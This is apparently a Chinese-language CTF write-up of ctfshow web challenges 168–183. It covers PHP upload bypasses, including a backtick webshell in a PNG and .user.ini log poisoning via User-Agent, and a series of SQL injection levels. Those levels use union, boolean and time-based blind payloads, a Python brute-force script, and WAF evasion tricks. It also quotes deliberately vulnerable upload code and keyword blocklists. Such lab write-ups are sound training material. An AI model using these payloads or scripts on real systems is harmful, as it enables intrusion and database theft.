if(!in_array($ext_suffix, array("php"))){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);
}else{
$ret = array("code"=>3,"msg"=>"只允许上传jpg格式文件");
}


}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}


echo json_encode($ret);

web168

原始信息

解题

题目前端要求的是png,随便选一张png上传后,在BP上去截取数据包。

而这次直接限制了类似于 eval ,include 等PHP函数,本以为还是无法使用php文件上传,没想到后面看见了某个大佬的wp说到了能直接上传PHP后就直接拿下了。

随便上传一张图片后,信息如下:

Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

�PNG


而实际上,其中是夹杂着一句木马的:

<?=`ls ../`?

能ls,接下来就能直接拿flag了。下面的是upload文件的内容。

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-30 00:11:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$str = file_get_contents($_FILES["file"]["tmp_name"]);
if(check($str)===0){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}

function check($str){
return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str);
}

echo json_encode($ret);

web169~170

原始信息

<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'zip'}">
<i class="layui-icon">&#xe67c;</i>上传文件
</button>

解题

尖括号都被过滤了,考虑文件包含漏洞 -> 日志文件包含漏洞。

Content-Disposition: form-data; name="file"; filename=".user.ini"
Content-Type: image/png

auto_prepend_file=/var/log/nginx/access.log

为防止出现403的情况,我们自己上传个 d.php :

Content-Disposition: form-data; name="file"; filename="d.php"
Content-Type: image/png

1

并且在这个php的UA处进行注入:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0<?=`ls ..`?>

再访问 /upload/d.php 即可看到日志相关信息以及对应的代码执行结果。

其中,因为是 UA 注入 php 可执行语句,可以选择在任意位置的 UA 注入。

upload.php - 169

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-30 00:11:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$str = file_get_contents($_FILES["file"]["tmp_name"]);
if(check($str)===0){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}

function check($str){
return preg_match('/eval|include|require|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|php|\\$|\?|\<|\>/i', $str);
}

echo json_encode($ret);

upload.php - 170

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-24 19:34:52
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-30 00:11:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
if ($_FILES["file"]["error"] > 0)
{
$ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
}
else
{
$filename = $_FILES["file"]["name"];
$filesize = ($_FILES["file"]["size"] / 1024);
if($filesize>1024){
$ret = array("code"=>1,"msg"=>"文件超过1024KB");
}else{
if($_FILES['file']['type'] == 'image/png'){
$str = file_get_contents($_FILES["file"]["tmp_name"]);
if(check($str)===0){
move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]);
$ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]);
}

}else{
$ret = array("code"=>2,"msg"=>"文件类型不合规");
}

}

}

function check($str){
return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|php|\\$|\?|\<|\>|\(|\)|\{|\[|\}|\]|\,|\%|\`|\~|\+/i', $str);
}

echo json_encode($ret);

SQL注入

web171-限制回显

原始信息

题目提供了一个输入框框和查询语句,以及部分的表格回显:

//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

解题

原本疑惑为什么测半天没动静,实际上是单引号和单词间多了个空格……(冤)

# 找列数
get: 1'order by 3 -- -
return: 正确信息
get: 1'order by 4 -- -
return: 接口错误
# 证明是三列

# 堆叠查询数据库相关信息
get: 1'union select 2,database(),3 -- -
return: ctfshow_web
# 查其它库
get: 1'union select 2,(group_concat(schema_name)),4 from information_schema.schemata-- -
return: information_schema,test,mysql,performance_schema,ctfshow_web
# 查表
get: 1'union select 2,(group_concat(table_name)),4 from information_schema.tables where table_schema='ctfshow_web'-- -
return: ctfshow_user
# 查字段
get: 1'union select 2,(group_concat(column_name)),4 from information_schema.columns where table_name='ctfshow_user'-- -
return: id,username,password
# 查字段对应的内容
get: 1'union select 2,(group_concat(username)),4 from ctfshow_user-- -
return: admin,user1,user2,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,userAUTO,flag
get: 1'union select 2,(group_concat(password)),4 from ctfshow_user-- -
return: admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{a53003e4-a479-47e2-b618-b24d4eabffb8}

web172

原始信息

访问select模块下的无过滤注入1

解题

和上面相比,多了一个表格

# 查表
get: 1'union select 2,(group_concat(table_name)),4 from information_schema.tables where table_schema='ctfshow_web'-- -
return: ctfshow_user,ctfshow_user2
# 查字段
get: 1'union select 2,(group_concat(column_name)),4 from information_schema.columns where table_name='ctfshow_user2'-- -
return: id,username,password
# 查字段对应的内容
get: 1'union select 2,(group_concat(password)),4 from ctfshow_user2-- -
return:
admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{5710fe38-1d3b-4322-b56e-d34148ed8530}

总结

在输出字符串被限制回显的时候 (例如限制'flag'这个字符串) 可以采用编码为base64的方式进行绕过。

反过来思考,就是: 当明文数据无法直接输出的时候,可以考虑加密为密文再输出出来解密拿到明文 .之前做PHP审计也遇到过。

web173

原始信息

暂时省略,后面补上

解题

暂时省略,后面补上

web174

原始信息

因为之前解题并未注意其中细节,这次检测出了布尔注入后,就一直在尝试爆出值。

解题

前面有限制条件,经过测试,限制的是传入的参数的。

没猜错的话,应该是不能直接反弹出flag的,所以说要拿下flag还得动用一点别的办法。

//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

按部就班开始解题:

  1. 这个是堆叠注入的解法:
# 找列数
get: 1'order by 2-- -
return: 正确信息
get: 1'order by 1-- -
return: 接口错误
# 证明是2列

# 堆叠查询数据库相关信息
get: 1'union select database(),'a'-- -
return: ctfshow_web
# 查其它库
get: -1'union select (group_concat(schema_name)),'a' from information_schema.schemata-- -
return: information_schema,test,mysql,performance_schema,ctfshow_web

# 查表
get: -1'union select 'a',substring(group_concat(table_name),1,12) from information_schema.tables where table_schema=database()-- -
return: ctfshow_user

# 查字段
get: -1'union select 'a',group_concat(column_name) from information_schema.columns where table_name like '%ctf%'-- -
return: id,username,password
# 查字段对应的内容
get: 1'union select 'a',(group_concat(id)) from ctfshow_user-- -
return:
# 无法直接明文测试出来,因为回显的数据包含了数字,上面规则有写
#可以考虑各种编码绕过

于是开始考虑新的办法,写一个脚本进行布尔爆破去解决这个问题。

而布尔爆破我是从头做到尾的:

# coding=utf-8
import requests,time,urllib

dictStr = ',abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`-{}_~0123456789|$!"#%&\'()*+./:;<=>?@[\\]^ '
dictStr2 = '{}-abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
dictStr3 = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ$#' # 数据库名字限制
dictStr4 = ',abcdefghijklmnopqrstuvwxyz0123456789_' # 数据表名字限制
dictStr5 = '-abcdefghijklmnopqrstuvwxyz0123456789{}'
dictStr6 = '`-{}_~0123456789|$!"#%&\'()*+./:;<=>?@[\\]^-{}abcdefghijklmnopqrstuvwxyz0123456789'
dictStr7 = ',1234567890'

def getUrl(req,url,data):
"""

req: 获取session数据开始
url: 获取模板url
data: 获取注入语句
"""
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
}
urls = url.format(data)
# print("被访问的URL:",urls)
print("被访问的内容:",data)
# 获取返回数据并且转换为中文
r = req.get(url=urls,headers=headers).content.decode('unicode_escape')

content = ''
if r.strip() == "":
# 如果没有内容就重新发10次包
for i in range(30):
rContent = req.get(url=urls, headers=headers).content.decode('unicode_escape')
if rContent.strip()!= "":
content = rContent
break

else:
content = r
return content

def getDatabase(req,url):
"""
获取数据库的库名
初始注入语句:1' and if(substring(database(),1,1)='c',1,0)-- -
ctfshow_web

获取数据库的表名
if(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='#',1,0)-- -
1'and if(substring((select concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}',1,0)-- -

查出表:ctfshow_user4
查出字段:id,username,password
查内容

"""
def miniContentSql(includeSql,flag=1,dictStrs=dictStr,showStr='',req=req):
"""
获取flag的小处理函数
"""
s = showStr
for item in range(flag,10000):
t = 0
for string in dictStrs:
t += 1
data = includeSql.format(item,string)
content = getUrl(req,url,data)
if '查询成功' in content:
s += string
break
if t == len(dictStrs):
break
print(s)
return s

# 获取数据库库名
#-- 根据查询的get语句编写的查询规则(可以灵活选择)
includeSql1 = "1' and if(substring(database(),{},1)='{}',1,0)-- -"
#-- 查字符串的起始位置(可以灵活选择,如果知道了某些字符串的内容可以控制这个和拼接字符串进行跳过,省点时间)
flag1=8
#-- 被拼接的字符串(可以灵活选择)
showStr1 = 'The database name: ctfshow'
#-- 查询用的ascii字符串(可以灵活选择)
dictStrIn1 = dictStr3

#-- 调用的函数,,将规则句柄等导入,获取结果(当前函数已经注释)
# s1 = miniContentSql(includeSql1,flag1,dictStrIn1,showStr1,req)

# 获取数据库的表名

includeSql2 = "1'and if(substring((select concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}',1,0)-- -"
showStr2 = 'The table name: '
dictStrIn2 = dictStr4
flag2 =1
# s2 = miniContentSql(includeSql2,flag2,dictStrIn2,showStr2,req)

# 获取数据库的表字段
includeSql3 = "1'and if(substring((select GROUP_CONCAT(column_name) from information_schema.columns where table_name='ctfshow_user4'),{},1)='{}',1,0)-- -"
showStr3 = 'The columns name: '
# s3 = miniContentSql(includeSql3, flag2, dictStrIn2, showStr3, req)

# 获取指定字段内容
# includeSql4 = "1'and if(substring((select id from ctfshow_web.ctfshow_user4 limit 25,1),{},1)='{}',1,0)-- -"
includeSql4 = "1'and if(substring((select password from ctfshow_web.ctfshow_user4 limit 24,1),{},1)='{}',1,0)-- -"
# showStr4 = 'The value: ctfshow{c62ca052-9d1f-477d-acd4-c37a4098d9ec}' --> 这个是半手工一点一点测出来的,使用BP强制爆破cai'jie
showStr4 = 'The id: '
dictStrIn4 = dictStr7
flag4 = 1
s4 = miniContentSql(includeSql4, flag4, dictStrIn4, showStr4, req)

s = s4
return s




if __name__ == '__main__':
url = "http://xxxxxxxx-xxxx-xxxx-xxxx-faa4b01ffb1d.challenge.ctf.show/api/v4.php?id={}&page=1&limit=10"
req = requests.session()
print(getDatabase(req,url))
#脚本测试内容的东西,就相当于把get输入测试变成了黑窗测试
while True:

print("-="*12)
data = input("请输入测试内容:")
if data == "exit":
break
content = getUrl(req,url,data)
print(content)

因为效率原因,也因为各种各样的限制脚本的原因,脚本跑起来并不顺畅。

换言之,他们要你手工注入,不让你脚本跑起来。

但我是半手工,自己编写规则去过滤。

虽然限制颇多,但勉强还是过了。

总结

布尔盲注,限制输出。

web175

原始信息

首先是信息和上面差不多:

查询语句:

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

很可能把关键字符换掉了,这次只能想办法进行盲注了。

不过因为回显的字符被篡改,这次,应该是时间盲注了。

根据观察,上面的语句会对 ascii 字符串进行操作,且从观察看 ascii 字符串完全展示不出来,只有 查询失败 能展示出来。

解题

这次采用脚本爆破时间盲注的时候,死后爆不出来。或者说爆破的结果与实际数值总是有出入。于是想到了昨天解题的时候采用的Bp爆破。

burp布尔盲注的时候是不用配置什么东西的,但是进行时间盲注的时候还是得配置一下。

  1. 首先限制配置的时间,也就是得到正确答案的缓冲时间:5s

  2. 其次,配置BP如下:(参考链接点我)

    这个是获取关键的注入数据包,这个数据包的url可以在 浏览器的网络 模块抓包部分获得,也就是你选择那个测试5后选择搜索, 网络 模块会出现对应的数据包,观察URL并且截获下来修改即可。

    获取关键的注入数据包

    获取到数据包后,转发到测试器

    转达测试器

    编辑

    下面的小ASCII字典是要自己配置的,后面爆破的时候要注意:

    编辑

    编辑

    到这里,时间盲注的BP环境算是配置好了。

  3. 进行时间盲注

#时间盲注的语句如下:
get(这个是get部分爆破的地方)
AsciiDict(这是ascii字典)
##如果不在意这点时间消耗,直接上大的ascii字典也行。
',abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ`-{}_~0123456789|$!"#%&\'()*+./:;<=>?@[\\]^ '
##这次是无论是不是1都是回显错误,用什么数字其实没啥好在意的,但用1比较保险。

#获取当前数据库
get: 1'and if(substring(database(),{1},1)='{2}',sleep(5),0)-- - '
AsciiDict: abcdefghijklmnopqrstuvwxyz0123456789_
##解释:
##拆分出来的是这样子的:1'and ???-- -
and左右边都是判断用的,只有全true才true。但这大重要,'-- -'这几个横线是数据库注释用的
##其中的'???'部分放置的是 'if(substring(database(),{1},1)='{2}',sleep(5),0)'
### if(xxx,sleep(5),0) - 如果xxx为正确的结果,得到了true,就使用sleep延迟5s,如果不是true则不延迟直接回显。
### substring(database(),{1},1)='{2}' - 切割字符串,database()获取数据库名后,裁切出第{1}位的第1个字符,看看该字符是否等于'{2}'
### {1}{2} - 这两个是爆破点
## 获取结果的办法:看下面
## 后面的原理和上面这个差不多,就不过多赘述了

获取结果的方法

#获取当前数据库
get: 1'and if(substring(database(),{1},1)='{2}',sleep(5),0)-- - '(保持色准用的,别把我这个单引号粘贴进去了)
AsciiDict: abcdefghijklmnopqrstuvwxyz0123456789_
#ctfshow_web

#获取数据库对应的数据表
get: 1'and if(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),{1},1)='{2}',sleep(5),0)-- - '(保持色准用的,别把我这个单引号粘贴进去了)
AsciiDict: ,abcdefghijklmnopqrstuvwxyz0123456789_
#ctfshow_user5

#获取对应表字段
get: 1'and if(substring((select GROUP_CONCAT(column_name) from information_schema.columns where table_name='ctfshow_user5'),{1},1)='{2}',sleep(5),0)-- - '(保持色准用的,别把我这个单引号粘贴进去了)
AsciiDict: ,abcdefghijklmnopqrstuvwxyz0123456789_
#id,username,password

#获取flag的内容
get: 1'and if(substring((select password from ctfshow_web.ctfshow_user5 limit 24,1),1,1)='p',sleep(5),0)-- - '(保持色准用的,别把我这个单引号粘贴进去了)
AsciiDict: ,abcdefghijklmnopqrstuvwxyz0123456789_
#ctfshow{3b0ab6f4-f068-423c-8e8e-c064327941f6}

这就是测试的全部了。

讲真,Python的request的流量特征绝对是被拦截了。因为官方说了要手注,多多少少还是有点限制的。

这里不考虑怎么去绕过限制,得到flag就行了。

总结

时间盲注,输出的字符串限制。

web176-换模式限制输入

原始信息

使用sqlmap是没有灵魂的

查询语句:

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

解题

这次过滤的重点是输入,不是输出(没明写,具体测测再说)

先进行一下测试:

#首先,接口的地址变了:http://xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx.challenge.ctf.show/api/?id=1&page=1&limit=10
#注点依然是id
get: 1'order by 3-- - '
return:{"code":0,"msg":"查询成功","count":1,"data":[{"id":"1","username":"admin","password":"admin"}]}
get: 1'order by 3-- - '
return: 空页面
#如果是BP,这里就有一个判断点了:内容长度

#接下来是按部就班的想办法注入
#{1}是数值注入点,{2}是Ascii注入点。
#实验了下联合注入union,无法直接获取。或者说直接报错。
#1.获取数据库
get: 1'and(if(substring(database(),{1},1)='{2}',0,1))-- - '(保持色准用的,别把我这个单引号粘贴进去了)
StrDict: abcdefghijklmnopqrstuvwxyz0123456789_
return: ctfshow_web
##这个就是依据BP的回显了,BP的配置在上一道题目中,但是判断依据变成了长度。
##所以说之前的配置记得复原,这次就不是延迟注入了哦
##结果是从bp上拼接出来的

#2.获取数据表
get: 1'and(if(substring((select(concat(table_name)from(information_schema.tables)where(table_schema='ctfshow_web'))),1,1)='c',0,1))-- - '(保持色准用的,别把我这个单引号粘贴进去了)
StrDict: abcdefghijklmnopqrstuvwxyz0123456789_
return: (空页面)
##上面写了有waf,说过于简单,测试双拼写:select->selselectect
get: 1'and(if(substring('selselectect',1,1)='s',1,0))-- - '(保持色准用的,别把我这个单引号粘贴进去了)
return: {"code":0,"msg":"查询成功","count":1,"data":[{"id":"1","username":"admin","password":"admin"}]}
##测试没有双拼的时候:select
get: 1'and(if(substring('select',1,1)='s',1,0)) '(保持色准用的,别把我这个单引号粘贴进去了)
return: {"code":0,"msg":"查询失败","count":1,"data":[]}
##查询失败,意思就是结果select没了。前面的and和if、字符串分割都是测试过的,没有问题。否则不可能测出ctfshow_web
##测出了锁死一个select,难怪说waf简单……
##仔细勘测能发现select应该是关键字锁死,可以使用大小写绕过。Mysql执行命令使用大小是没区别的。
下面是获取数据表的部分:
get: 1'and(if((substring((selEct(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow_web')),{1},1)='{2}'),1,0))-- - '(保持色准用的,别把我这个单引号粘贴进去了)
StrDict: abcdefghijklmnopqrstuvwxyz0123456789_
return: ctfshow_user


#3.获取表格的字段
get: 1'and(if((substring((selEct(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_user')),{1},1)='{2}'),1,0))-- - '(保持色准用的,别把我这个单引号粘贴进去了)
StrDict: abcdefghijklmnopqrstuvwxyz0123456789_,
return: id,username,password


#4.获取内容
get: 1'and if(substring((Select(password)from(ctfshow_user)limit 21,1),{1},1)='{2}',1,0)-- - '(保持色准用的,别把我这个单引号粘贴进去了)
StrDict: abcdefghijklmnopqrstuvwxyz0123456789_,-{}
return: ctfshow{62f52cb8-69dd-bf4b-232c53c14553}

总结

  1. 大小写绕过:限制输入的字符串 select ,从观察看应该是限制了这个小写格式的,大小写混写时就能直接绕过了。
  2. 注入方法:布尔盲注,堆叠注入等。

无法直接跑脚本的情况都是和BP结合使用的。

web177

原始信息

使用sqlmap是没有灵魂的

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";


返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

解题

经过测试,这次过滤的部分如下:

-- :过滤掉了注释,换成%23(#)
这次并没有过滤select

使用布尔注入解题:

# 这次的观察点依然是回显数据的长度,爆破工具使用BP
#1.获取数据库
get: 1'and(if(substring(database(),{1},1)='{2}',1,0))%23 '(保持色准用的,别把我这个单引号粘贴进去了)
StrDict: abcdefghijklmnopqrstuvwxyz0123456789_
return: ctfshow_web

#2.获取数据表
get: 1'and(if(substring((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow_web')),{1},1)='{2}',1,0))%23 '(保持色准用的,别把我这个单引号粘贴进去了)
StrDict: abcdefghijklmnopqrstuvwxyz0123456789_,
return: ctfshow_user

#3.获取表字段
get: 1'and(if(substring((select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_user')),{1},1)='{2}',1,0))%23 '(保持色准用的,别把我这个单引号粘贴进去了)
StrDict: ,abcdefghijklmnopqrstuvwxyz0123456789_
return: id,username,password

#4.获取字段内容
get: 1'and(if(substring((select(password)from(ctfshow_user)limit/**/21,1),{1},1)='{c}',1,0))%23 '(保持色准用的,别把我这个单引号粘贴进去了)
StrDict: abcdefghijklmnopqrstuvwxyz0123456789{}-
return: ctfshow{96ed9762-2710-4ce8-a7df-13fdae9494b4}

总结

过滤Mysql的 -- 注释,没有过滤 select .

空格需要使用 /**/ 替代。

web178

原始信息

使用Sqlmap是没有灵魂的

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑
//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

解题

# 1.查库
get: 1'and(if(substring(database(),{1},1)='{2}',1,0))%23 '(保持色准用的,别把我这个单引号粘贴进去了)
StrDict: abcdefghijklmnopqrstuvwxyz0123456789_
return: ctfshow_web

# 2.查表
get: 1'and(if(substring((select(table_name)from(information_schema.tables)where(table_schema='ctfshow_web')),{1},1)='{2}',1,0))%23 '(保持色准用的,别把我这个单引号粘贴进去了)
StrDict: abcdefghijklmnopqrstuvwxyz0123456789_
return: ctfshow_user

# 3.查字段
get: 1'and(if(substring((select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_user')),{1},1)='{2}',1,0))%23 '(保持色准用的,别把我这个单引号粘贴进去了)
StrDict: abcdefghijklmnopqrstuvwxyz0123456789_,
return: id,username,password

# 4.查内容
##这次需要先查username再查password核验字段位置,根据已有的password内容去计算flag所在的位置。
#因为禁用空格和/ ,limit不能用了。
get: 1'and(if(substring((select(group_concat(password))from(ctfshow_user)),248,1)=',',1,0))%23 '(保持色准用的,别把我这个单引号粘贴进去了)
StrDict: abcdefghijklmnopqrstuvwxyz0123456789-{}_,
return: ctfshow{d0e47721-d77d-4723-9260-b33ab076438c}

这次过滤(仅限测出来的):

=>  / 空格 

没查出有没有什么关键字的过滤,布尔盲注用的有点插科打诨的感觉。

结果

布尔盲注直接绕过,因为控制了空格和正斜杠导致无法直接使用limit进行分割,需要根据已有信息区算出flag所在位置,避免出现杂乱数据的情况。

或者说避免出现无用数据的情况。

在SQL注入中,可以选择其它字符代替空格,制表符也行。

%09	制表符的Url形式

web179

原始信息

使用sqlmap是没有灵魂的

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";


返回逻辑

//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

解题

没猜错应该还是限制不到布尔注入。

# 1.获取数据库
Get: 1'and(if(substring(database(),{1},1)='{2}',1,0))%23 '(保持色准用的,别把我这个单引号粘贴进去了)
StrDict: abcdefghijklmnopqrstuvwxyz0123456789_
return: ctfshow_web

# 2.获取数据表
get: 1'and(if(substring((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow_web')),{1},1)='{2}',1,0))%23 '(保持色准用的,别把我这个单引号粘贴进去了)
StrDict: abcdefghijklmnopqrstuvwxyz0123456789_,
return: ctfshow_user

# 3.获取表字段
get: 1'and(if(substring((select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_user')),1,1)='i',1,0))%23 '(保持色准用的,别把我这个单引号粘贴进去了)
StrDict: abcdefghijklmnopqrstuvwxyz0123456789_,
return: id,username,password

# 4.获取字段内容
get: 1'and(if(substring((select(group_concat(password))from(ctfshow_user)),{1},1)='{2}',1,0))%23 '(保持色准用的,别把我这个单引号粘贴进去了)
#这里的{1}使用248比较妥帖些
StrDict: abcdefghijklmnopqrstuvwxyz0123456789_,-{}
return: ctfshow{d01cbc05-672e-4fc5-80e8-c8cfeff20a39}

结论

限制的字符在增加,但是没有限制关键字,依然使用布尔盲注。

可以使用其它字符代替空格:%0c .

web180

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";


返回逻辑

//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

解题

这次过滤了注释用的几乎所有的符号。如果说SQL中仅存在 #和--和/**/ 这三种的话,这次是真的用不了了。

这里考虑直接使用明文去显示我们需要的信息。

# 和之前稍微有那么一点不同,过滤掉注释符号得换一种方式去替代
get: 1'and(if(1>0,1,1))and'1
# 改写下之前的payload
get: 1'and(if(substring((select(group_concat(password))from(ctfshow_user)),249,1)='c',1,0))and'1
#变更下变成:
1'and(if(substring((select(group_concat(password))from(ctfshow_user)),{1},1)='{2}',1,0))and'1
StrDict: abcdefghijklmnopqrstuvwxyz0123456789_,-{}
return: ctfshow{adcc6739-d8d3-4ff3-bf95-cce3a640bd48}

总结

过滤了:

# -- /**/ 空格
绕过方法:
使用'and({数据})and'的形式进行绕过

web181~web182

原始信息

使用SQL注入是没有灵魂的

#web181
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";


返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

#web182
查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

解题

这次的关键字过滤有点严谨过头的感觉(头皮发麻)。

首先,这里能使用and or 两个逻辑,如果是单纯的使用and逻辑进行布尔盲注,能提取出当前数据库 ctfshow_web ,但如果是按照顺序去提取出数据表、字段、数据内容的话,如何在毫不知情的情况下绕过这么个限制枷锁去获取表和字段?

这还真是个大问题。

如果是按照前一题的经验直接测试字段名字得到对应的值,说实在有些投机取巧。这也是我不怎么赞成的原因之一。。

这是一个利用前面payload获取到的字段进行的当前题目的payload获取,如下:

get: -1'||username='flag (web181可以使用)
#或者这个:
get: -1'||id='26'||' (web181和web182通用)

对应的mysql优先级如下:

mysql操作符优先级:(数字越大,优先级越高)

优先级    运算符
1     :=
2     || , OR , XOR
3     && , AND
4     NOT
5     BETWEEN, CASE, WHEN, THEN, ELSE
6     =, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN
7     |
8     &
9     <<, >>
10     -, +
11     *, /, DIV, %, MOD
12     ^
13     - (一元减号), ~ (一元比特反转)
14     !
15     BINARY, COLLATE

反推真的只有取巧这一个办法吗?或者说这是字段的猜解和爆破。

结果找了一圈,貌似还真是只有这个办法……

web183-布尔注入

原始信息

查询语句

//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}

查询结果

//返回用户表的记录总数
$user_count = 22;

解题

观察题目,post传参。

唯一的回显点:

//返回用户表的记录总数
$user_count = 22;

前面提示到:

$sql = "select count(pass) from ".$_POST['tableName'].";";

表示的是Sql语句缺一个表名,而表名需要我们通过POST传参的方式传入。

前面的参照参数是 pass ,那么尝试使用 pass 直接找出对应的flag。

tableName=`ctfshow_user`where`pass`like'ctfshow{1}%'

参数 {1} 是替换的地方,想要最省力的替换其实写一个python脚本就解决了。

毕竟全自动,跑两遍能出flag是最省心的。

但有一种情况,是手动测试出来,比测Python更快些。

